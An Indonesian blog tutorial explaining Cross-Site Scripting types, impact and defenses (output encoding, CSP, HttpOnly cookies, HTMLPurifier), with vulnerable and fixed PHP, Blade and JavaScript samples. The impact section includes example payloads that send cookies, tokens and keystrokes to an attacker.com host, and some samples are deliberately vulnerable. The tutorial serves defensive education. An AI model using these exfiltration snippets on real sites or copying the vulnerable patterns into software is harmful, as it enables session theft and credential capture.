apa itu Cross-Site Scripting (XSS)

pindipin
19 October 2026
13 min read

Di tengah maraknya penggunaan framework modern seperti Laravel, React, atau Vue yang menawarkan mekanisme proteksi otomatis, kerentanan Cross-Site Scripting (XSS) sering kali dianggap masalah klasik yang sudah terselesaikan. Namun, kenyataan di lapangan berkata lain. XSS konsisten bertengger di jajaran kerentanan web paling banyak ditemukan dalam program bug bounty maupun audit keamanan aplikasi (penetration testing).

Masalah utama XSS jarang terletak pada ketiadaan fitur keamanan di framework, melainkan pada bagaimana kamu menangani edge case: integrasi data pihak ketiga, fitur rich text editor, manipulasi DOM tingkat rendah di JavaScript, hingga penggunaan syntax tanpa escaping demi mengejar fleksibilitas tampilan.

Artikel ini membahas XSS secara mendalam dari sudut pandang application security dan software engineering. Kita akan menguliti konsep dasar XSS, membedah tiga tipe utamanya (Stored, Reflected, dan DOM-based), menganalisis dampak nyata terhadap aplikasi, serta menyusun strategi pertahanan berlapis (defense-in-depth) berbasis kode nyata di PHP, Laravel, dan JavaScript.


1. Apa Itu Cross-Site Scripting (XSS)?

1.1 Konsep Dasar & Prinsip Kerja

Cross-Site Scripting (XSS) adalah kerentanan keamanan pada aplikasi web yang memungkinkan penyerang menyisipkan (inject) skrip berbahaya—biasanya ditulis dalam JavaScript—ke dalam konten yang disajikan kepada pengguna lain.

Prinsip dasar XSS terjadi ketika aplikasi web menerima data dari sumber yang tidak terpercaya (untrusted source) dan menampilkan data tersebut ke dalam halaman HTML tanpa melalui proses validasi, sanitasi, atau output encoding yang memadai.

Saat browser pengguna menerima respon HTTP dari server yang berisi kode jahat tersebut, browser tidak memiliki cara untuk membedakan apakah JavaScript itu merupakan bagian sah dari aplikasi web atau suntikan dari luar. Karena skrip dieksekusi di dalam browser korban (client-side context), skrip memiliki akses penuh ke lingkungan eksekusi halaman tersebut: cookies, local storage, session token, hingga kemampuan melakukan permintaan HTTP (HTTP request) atas nama pengguna.

1.2 Kedudukan XSS di OWASP Top 10

Dalam standar keamanan industri OWASP Top 10 (versi 2021), XSS dikelompokkan ke dalam kategori A03:2021 – Injection.

Meskipun secara historis XSS sering dipisahkan sebagai kategori sendiri, pengelompokan ini menegaskan bahwa XSS pada intinya adalah kerentanan injection—mirip dengan SQL Injection—di mana perbedaan utamanya terletak pada tempat eksekusinya:

  • SQL Injection: Penyerang menyuntikkan perintah ke mesin database di sisi server.
  • Cross-Site Scripting: Penyerang menyuntikkan kode ke interpreter HTML/JavaScript di sisi client (browser).

Bahaya eksekusi skrip client-side tidak boleh diremehkan. Bagi end-user, eksekusi kode berbahaya di browser mereka sama merusaknya dengan kebocoran database di sisi server.


2. Membedakan 3 Tipe Utama Serangan XSS

XSS diklasifikasikan menjadi tiga kategori utama berdasarkan alur eksekusi data dan lokasi penyimpanan payload.

2.1 Stored XSS (Persistent XSS)

Stored XSS terjadi ketika payload berbahaya disimpan secara permanen di media penyimpanan target, seperti database, forum diskusi, kolom komentar, atau profil pengguna. Setiap kali pengguna lain membuka halaman yang mengambil data tersebut dari database, skrip berbahaya akan otomatis dieksekusi oleh browser mereka.

Alur Skenario:

  1. Penyerang mendaftar ke aplikasi web dan mengisi formulir komentar dengan payload:
    <script>
      fetch('https://attacker.com/steal?cookie=' + document.cookie);
    </script>
    
  2. Aplikasi web menyimpan string tersebut ke dalam database tanpa sanitasi.
  3. Korban (pengguna lain atau admin) membuka halaman komentar.
  4. Server mengambil komentar dari database dan merender HTML langsung ke browser korban.
  5. Browser korban mengeksekusi skrip dan mengirim session cookie milik korban ke server penyerang.

Stored XSS dianggap sebagai varian paling berbahaya karena tidak memerlukan rekayasa sosial (social engineering) tambahan. Siapa pun yang mengunjungi halaman rentan akan berdampak langsung.

2.2 Reflected XSS (Non-Persistent XSS)

Pada Reflected XSS, skrip berbahaya tidak disimpan di server web. Sebaliknya, payload disisipkan melalui HTTP request (biasanya via parameter URL atau parameter pencarian) dan langsung "dipantulkan" kembali oleh server ke dalam respon HTML yang diterima browser.

Alur Skenario:

  1. Aplikasi web memiliki fitur pencarian dengan kode yang langsung menampilkan kata kunci pencarian:
    echo "Hasil pencarian untuk: " . $_GET['q'];
    
  2. Penyerang menyusun URL khusus:
    https://example.com/search?q=<script>alert(document.cookie)</script>
    
  3. Penyerang memancing kamu untuk mengklik URL tersebut (melalui email phishing atau media sosial).
  4. Ketika kamu mengklik tautan, server memproses request dan memantulkan isi parameter q ke respon HTML.
  5. Browser kamu mengeksekusi skrip karena menganggap respon tersebut berasal dari example.com.

Berbeda dengan Stored XSS, Reflected XSS membutuhkan interaksi pengguna (kamu harus mengklik link yang dipersiapkan oleh penyerang).

2.3 DOM-based XSS

DOM-based XSS terjadi ketika kerentanan berada sepenuhnya di sisi client (browser). Respon HTML dari server sendiri mungkin bersih dan aman, tetapi kode JavaScript di sisi browser membaca data dari Source yang tidak terpercaya lalu meneruskannya ke Sink yang berbahaya tanpa validasi.

Konsep Source vs Sink:

  • Source: Properti JavaScript yang dapat dikontrol oleh pengguna atau lingkungan browser. Contoh: location.search, location.hash, document.referrer, window.name.
  • Sink: Fungsi atau objek manipulasi DOM di JavaScript yang dapat mengeksekusi kode jika diberi masukan yang tidak ter-encode. Contoh: innerHTML, outerHTML, document.write(), eval(), setTimeout().

Alur Skenario:
Misalkan sebuah aplikasi Single Page Application (SPA) mengambil fragmen dari URL untuk menyapa pengguna:

// Kode di sisi browser
const name = new URLSearchParams(window.location.search).get('name');
// DOM Sink rentan
document.getElementById('greeting').innerHTML = "Halo, " + name;

Jika penyerang mengarahkan kamu ke:
https://example.com/dashboard?name=<img src=x onerror=alert(1)>

Server merespon dengan HTML kosong yang sama seperti biasa. Namun, begitu JavaScript di browser berjalan, variabel name dibaca dari URL (Source) dan dimasukkan ke innerHTML (Sink). Browser merender elemen `` buatan, gagal memuat gambar dari sumber x, lalu mengeksekusi event handler onerror milik penyerang.


3. Dampak & Kerugian Nyata Serangan XSS

Banyak developer menganggap XSS hanya sebatas munculnya kotak dialog alert(1) di layar. Anggapan ini sangat keliru. Kotak dialog hanyalah proof-of-concept (PoC) untuk membuktikan adanya eksekusi JavaScript. Jika penyerang menyisipkan skrip yang sesungguhnya, dampaknya meliputi:

Sebagian besar aplikasi web menggunakan session cookie atau JSON Web Token (JWT) yang disimpan di localStorage untuk mengautentikasi pengguna. Melalui XSS, penyerang dapat membaca document.cookie atau localStorage lalu mengiriskannya ke server milik mereka:

const token = localStorage.getItem('access_token');
new Image().src = 'https://attacker.com/log?data=' + encodeURIComponent(token);

Dengan token tersebut, penyerang dapat mengkloning sesi kamu dan masuk ke akun kamu tanpa perlu mengetahui password kamu.

3.2 Keylogging & Credential Theft (Pencurian Kredensial)

Penyerang dapat menyuntikkan event listener pada keyboard untuk merekam setiap tombol yang diketik oleh kamu di halaman tersebut:

document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/klog', {
        method: 'POST',
        body: JSON.stringify({ key: e.key, target: e.target.name })
    });
});

Jika kamu sedang berada di halaman transaksi atau formulir pendaftaran, data sensitif seperti nomor kartu kredit atau PIN dapat bocor secara real-time.

3.3 Phishing Form Injection & Malicious Redirection

Dengan manipulasi DOM, penyerang dapat menyembunyikan formulir asli dan menyuntikkan formulir login palsu yang nampak persis seperti milik aplikasi resmi. Ketika kamu memasukkan kata sandi, data dikirim langsung ke server penyerang. Penyerang juga bisa mengarahkan kamu secara paksa (forced redirect) ke situs berbahaya.

3.4 Defacement & Unauthorized Actions (Aksi Atas Nama Kamu)

XSS memberikan kemampuan kepada penyerang untuk membuat HTTP Request (misal via fetch() atau XMLHttpRequest) yang memanfaatkan kredensial aktif kamu. Jika akun yang terkena XSS adalah akun Administrator, penyerang dapat:

  • Mengubah alamat email dan kata sandi admin.
  • Menambah akun admin baru.
  • Menghapus seluruh data aplikasi dari panel kontrol internal.

4. Skenario Kode Rentan vs Solusi Perbaikannya

Mari kita bedah skenario kode nyata di berbagai bahasa dan framework yang sering dipakai di industri web development Indonesia.

4.1 PHP Murni (Vanilla PHP)

Skenario Rentan (Reflected XSS)

<?php
// search.php - KODE RENTAN
$keyword = $_GET['q'] ?? '';
?>

<!DOCTYPE html>
<html>
<head>
    <title>Pencarian</title>
</head>
<body>
    <!-- Output langsung tanpa escaping -->
    <h1>Hasil pencarian untuk: <?php echo $keyword; ?></h1>
</body>
</html>

Masalah: Jika kamu mengakses search.php?q=<script>alert('XSS')</script>, string skrip langsung dirender sebagai elemen tag HTML oleh browser.

Solusi Perbaikan (Safe Code)

Gunakan htmlspecialchars() dengan flag ENT_QUOTES dan tentukan encoding UTF-8.

<?php
// search.php - KODE AMAN
$keyword = $_GET['q'] ?? '';
$safeKeyword = htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
?>

<!DOCTYPE html>
<html>
<head>
    <title>Pencarian</title>
</head>
<body>
    <!-- Data dikonversi menjadi entitas HTML aman -->
    <h1>Hasil pencarian untuk: <?php echo $safeKeyword; ?></h1>
</body>
</html>

Penjelasan: Fungsi htmlspecialchars() mengubah karakter khusus HTML menjadi HTML entities:

  • < menjadi &lt;
  • > menjadi &gt;
  • " menjadi &quot;
  • ' menjadi &#039; (membutuhkan ENT_QUOTES)

Browser akan menampilkan karakter <script> sebagai teks biasa di layar, bukannya mengeksekusinya sebagai tag skrip.


4.2 Laravel Blade Engine

Templating engine modern seperti Laravel Blade sudah didesain aman secara default, namun fleksibilitas sintaks sering kali disalahgunakan oleh kamu.

Skenario Rentan

 {{-- resources/views/profile.blade.php - KODE RENTAN --}}
 <div class="user-bio">
     <h3>Bio Pengguna:</h3>
     {{-- {!! !!} mematikan auto-escaping --}}
     {!! $user->bio !!}
 </div>

Masalah: Sintaks {!! $user->bio !!} memberitahu Blade untuk merender isi variabel secara mentah (raw HTML). Jika $user->bio berisi masukan dari penyerang, aplikasi langsung terkena Stored XSS.

Solusi Perbaikan

Gunakan sintaks double curly braces {{ }} secara konsisten untuk semua data dinamis.

 {{-- resources/views/profile.blade.php - KODE AMAN --}}
 <div class="user-bio">
     <h3>Bio Pengguna:</h3>
     {{-- Blade otomatis menjalankan e() / htmlspecialchars --}}
     {{ $user->bio }}
 </div>

Jika aplikasi memang wajib menerima format HTML dari Rich Text Editor (misal fitur artikel/blog), gunakan library sanitasi HTML di sisi server (seperti HTMLPurifier) sebelum merender dengan {!! !!}:

// Di Controller atau Service Layer
use HTMLPurifier;
use HTMLPurifier_Config;

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);

// Hapus tag dan atribut berbahaya seperti <script>, onclick, onload
$cleanBio = $purifier->purify($request->input('bio'));

4.3 JavaScript Client-Side (DOM Manipulation)

Skenario Rentan (Unsafe Sink innerHTML)

// script.js - KODE RENTAN
const urlParams = new URLSearchParams(window.location.search);
const userRole = urlParams.get('role'); // Source

// Memasukkan langsung ke innerHTML (Unsafe Sink)
document.getElementById('role-display').innerHTML = "Role Anda: " + userRole;

Masalah: innerHTML menginstruksikan browser untuk mengurai (parse) string sebagai kode HTML. Jika userRole diisi <img src=x onerror=alert(1)>, skrip akan berjalan.

Solusi Perbaikan (Safe Sink textContent)

Gunakan textContent atau innerText jika data yang ingin ditampilkan adalah teks murni.

// script.js - KODE AMAN
const urlParams = new URLSearchParams(window.location.search);
const userRole = urlParams.get('role'); // Source

// textContent memperlakukan input sepenuhnya sebagai string
document.getElementById('role-display').textContent = "Role Anda: " + userRole;

Penjelasan: textContent tidak melakukan parsing HTML. Semua karakter khusus seperti < atau > diartikan secara harfiah sebagai karakter teks oleh mesin DOM browser.


5. Strategi Pertahanan Berlapis (Defense-in-Depth)

Mengandalkan satu lapisan keamanan saja (misal hanya melakukan escaping di view) adalah pendekatan yang berisiko. Dalam praktek Application Security, kita wajib mengimplementasikan Defense-in-Depth—memasang beberapa lapis pertahanan agar jika satu benteng jebol, lapisan lain tetap melindungi aplikasi.

5.1 Context-Aware Output Encoding (Pertahanan Utama)

Aturan paling krusial dalam pencegahan XSS adalah: lakukan encoding data sesuai konteks tempat data tersebut ditempatkan.

Encoding untuk elemen HTML biasa berbeda dengan encoding di dalam atribut HTML, variabel JavaScript, atau URL.

Konteks Penempatan DataContoh TempatTeknik Escaping / Encoding
HTML Body<div>...</div>Entitas HTML (htmlspecialchars, ENT_QUOTES)
HTML Attribute<input value="...">Attribute Encoding (encode semua karakter non-alphanumeric)
JavaScript Context<script>var name = "...";</script>JavaScript Encoding / json_encode()
URL Parameter<a href="/page?id=...">URL Encoding (encodeURIComponent / urlencode)

Contoh Kasus Bahaya pada JavaScript Context:

Menggunakan htmlspecialchars() di dalam tag <script> tetap dapat dibobol!

<!-- KODE TETAP RENTAN MESKIPUN PAKAI htmlspecialchars! -->
<script>
    var username = "<?php echo htmlspecialchars($userInput, ENT_QUOTES); ?>";
</script>

Jika $userInput berisi "; alert(1); //, hasil outputnya menjadi:

<script>
    var username = ""; alert(1); //";
</script>

htmlspecialchars() tidak mengubah tanda titik koma ; atau garis miring /, sehingga penyerang berhasil menutup string dan menyuntikkan perintah JavaScript baru.

Cara Aman di JavaScript Context:
Gunakan json_encode() di PHP untuk mengonversi data menjadi format JSON yang aman:

<script>
    // json_encode otomatis menangani quoting dan escaping sintaks JS
    var username = <?php echo json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
</script>

5.2 Content Security Policy (CSP) Headers

Content Security Policy (CSP) adalah header respon HTTP yang memberitahu browser tentang sumber daya (scripts, styles, images) mana saja yang diizinkan untuk dimuat dan dieksekusi oleh halaman tersebut.

CSP berperan sebagai jaring pengaman jika terjadi kebocoran XSS pada kode aplikasi.

Contoh Header CSP yang Ketat

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none'; require-trusted-types-for 'script';

Penjelasan Direktif:

  • default-src 'self': Secara default, hanya izinkan pemuatan resource dari domain/asal (origin) aplikasi itu sendiri.
  • script-src 'self' https://trustedscripts.example.com: Skrip hanya boleh dimuat dari domain sendiri dan dari trustedscripts.example.com. Browser akan menolak memuat skrip dari domain luar milik penyerang.
  • Blokir Inline Script: Tanpa klausa 'unsafe-inline', CSP secara otomatis melarang eksekusi tag <script>alert(1)</script> yang disuntikkan secara inline di dalam HTML.
  • object-src 'none': Melarang pemuatan plugin lama seperti Flash atau Applet.

Penerapan CSP pada Web Server (Nginx / Apache / PHP)

Di PHP (via Header Function):

header("Content-Security-Policy: default-src 'self'; script-src 'self';");

Di Nginx Configuration:

add_header Content-Security-Policy "default-src 'self'; script-src 'self';" always;

Jika penyerang berhasil mengeksekusi XSS, tujuan utama mereka sering kali adalah mencuri session cookie. Kamu dapat membatasi dampak tersebut dengan mengonfigurasi cookie flags secara tepat.

1. Flag HttpOnly

Flag ini melarang JavaScript (termasuk document.cookie) untuk membaca atau mengakses cookie tersebut. Walaupun halaman terkena serangan XSS, skrip penyerang tidak akan bisa mengambil isi session ID.

2. Flag Secure

Memastikan cookie hanya dikirim melalui koneksi terenkripsi HTTPS.

3. Flag SameSite (Lax / Strict)

Melindungi cookie dari serangan Cross-Site Request Forgery (CSRF) dan membatasi pengiriman cookie saat navigasi lintas domain.

// Mengatur session cookie aman di PHP
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,     // Cookie hanya lewat HTTPS
    'httponly' => true,   // Mencegah akses via document.cookie (XSS Defense)
    'samesite' => 'Lax'   // Proteksi CSRF
]);
session_start();

5.4 Input Sanitization vs Output Escaping

Terdapat kebingungan umum di kalangan developer mengenai perbedaan antara Input Sanitization dan Output Escaping.

Input Sanitization (Server-Side):

    • Proses: Membersihkan atau membuang data berbahaya sebelum disimpan ke database.
    • Kapan Digunakan: Hanya saat aplikasi memang menerima rich text / HTML (misal editor artikel). Jangan gunakan sanitasi global seperti strip_tags() untuk semua masukan form, karena dapat merusak data asli pengguna (misal nilai matematika x < y akan hilang).
    • Tools: Gunakan library teruji seperti DOMPurify (JavaScript) atau HTMLPurifier (PHP). Hindari membuat rumus Regex buatan sendiri.
  1. Output Escaping / Encoding (View-Layer):

    • Proses: Mengubah karakter berisiko menjadi entitas aman saat data akan ditampilkan ke layar browser.
    • Kapan Digunakan: Setiap saat data dinamis akan dirender ke dalam HTML, terlepas dari dari mana data tersebut berasal. Ini adalah pertahanan utama pencegahan XSS.

Penutup

Cross-Site Scripting (XSS) bertahan sebagai salah satu ancaman utama web aplikasi bukan karena ketiadaan solusi teknis, melainkan karena kompleksitas konteks eksekusi di browser dan kelalaian dalam penanganan data dinamis.

Kunci utama dalam menangkal XSS adalah memegang teguh prinsip dasar keamanan web: Never Trust User Input, Always Encode Output. Dengan memahami klasifikasi serangan (Stored, Reflected, DOM-based) dan menerapkan strategi pertahanan berlapis (defense-in-depth)—mulai dari context-aware output encoding, pengerasan konfigurasi cookie (HttpOnly), hingga implementasi Content Security Policy—aplikasi yang kamu kembangkan akan jauh lebih tangguh menghadapi eksploitasi di dunia nyata.

Referensi terkait: OWASP XSS Prevention Cheat Sheet, MDN Content Security Policy, PHP Manual htmlspecialchars, Laravel Blade Documentation.

Jika kamu ingin mendalami topik keamanan web terkait, baca artikel tentang SQL Injection dan Cara Mencegahnya dan Cara Mengamankan REST API. Untuk pemahaman tentang otentikasi yang aman di Laravel, baca Password Hashing.

Bagikan Artikel:
Diskusi & Komentar

Fitur komentar belum diaktifkan oleh administrator.

Artikel Terkait